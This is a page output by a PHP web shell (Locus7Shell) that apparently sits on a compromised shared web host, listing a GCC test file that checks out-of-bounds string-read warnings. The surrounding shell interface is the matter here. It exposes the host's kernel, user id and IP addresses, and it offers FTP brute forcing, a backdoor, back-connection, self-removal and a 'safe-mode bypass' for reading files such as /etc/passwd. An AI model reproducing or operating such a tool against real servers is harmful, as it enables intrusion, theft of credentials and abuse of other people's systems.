Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overread-5.c (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Verify -Wstringop-overread with a source pointer pointing either
   before the beginning or past the end of an object.
   { dg-do compile }
   { dg-options "-O -Wall -Wno-array-bounds" } */

typedef __SIZE_TYPE__ size_t;

size_t strlen (const char *);

void sink (void*, ...);

void off_sz_or_1 (size_t i)
{
  i |= 1;

  /* Verify the offset in the notes only mentions the meaningful lower
     bound and not a range with the excessive (and meaningless) upper
     bound like [2, 9223372036854775807].  */
  extern char a[1];
  // { dg-message "at offset 1 into source object 'a'" "note" { target *-*-* } .-1 }
  // { dg-message "at offset 2 " "note" { target *-*-* } .-2 }

  char *p1 = a + i;
  char *p2 = p1 + 1;
  char *p3 = p1 - 1;

  size_t n = 0;
  n += strlen (p1);     // { dg-warning "reading 1 or more bytes from a region of size 0" }
  n += strlen (p2);     // { dg-warning "reading 1 or more bytes from a region of size 0" }
  n += strlen (p3);

  sink (p1, p2, p3, n);
}


void off_sz_or_2 (size_t i)
{
  i |= 2;

  extern char b[2];
  // { dg-message "at offset 2 " "note" { target *-*-* } .-1 }
  // { dg-message "at offset 3 " "note" { target *-*-* } .-2 }

  char *p1 = b + i;
  char *p2 = p1 + 1;
  char *p3 = p1 - 1;

  size_t n = 0;
  n += strlen (p1);     // { dg-warning "reading 1 or more bytes from a region of size 0" }
  n += strlen (p2);     // { dg-warning "reading 1 or more bytes from a region of size 0" }
  n += strlen (p3);

  sink (p1, p2, p3, n);
}


void off_sz_or_4 (size_t i)
{
  i |= 4;

  extern char c[3];
  // { dg-message "at offset 4 " "note" { target *-*-* } .-1 }
  // { dg-message "at offset 5 " "note" { target *-*-* } .-2 }
  // { dg-message "at offset 3 " "note" { target *-*-* } .-3 }

  char *p1 = c + i;
  char *p2 = p1 + 1;
  char *p3 = p1 - 1;

  size_t n = 0;
  n += strlen (p1);     // { dg-warning "reading 1 or more bytes from a region of size 0" }
  n += strlen (p2);     // { dg-warning "reading 1 or more bytes from a region of size 0" }
  n += strlen (p3);     // { dg-warning "reading 1 or more bytes from a region of size 0" }

  sink (p1, p2, p3, n);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--